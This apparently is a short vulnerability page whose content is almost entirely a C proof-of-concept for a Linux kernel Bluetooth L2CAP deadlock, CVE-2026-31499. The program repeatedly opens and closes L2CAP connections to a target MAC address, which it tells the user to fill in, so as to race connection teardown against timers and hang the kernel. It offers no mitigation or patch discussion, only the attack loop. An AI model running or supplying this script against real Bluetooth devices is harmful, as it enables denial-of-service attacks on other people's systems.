CVE-2026-31499 Linux内核蓝牙L2CAP死锁漏洞

/* * Conceptual PoC for CVE-2026-31499 * This PoC demonstrates the logic to trigger the deadlock race condition. * It rapidly toggles L2CAP connections to race the cleanup logic with timers. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> int main() { int sock, i; struct sockaddr_l2 addr = {0}; char dest[18] = "00:11:22:33:44:55"; // Replace with a target MAC // Allocate socket sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (sock < 0) { perror("Failed to create socket"); return 1; } addr.l2_family = AF_BLUETOOTH; addr.l2_psm = htobs(0x1001); // Example PSM str2ba(dest, &addr.l2_bdaddr); printf("Starting race condition loop for CVE-2026-31499...\n"); // Loop to trigger the race condition between l2cap_conn_del and timer works for (i = 0; i < 1000; i++) { // Attempt to connect to start timers if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { // Expected to fail or succeed depending on environment, key is the syscall } // Immediately close to trigger l2cap_conn_del while timers might be pending close(sock); // Recreate socket for next iteration sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (sock < 0) break; } close(sock); return 0; }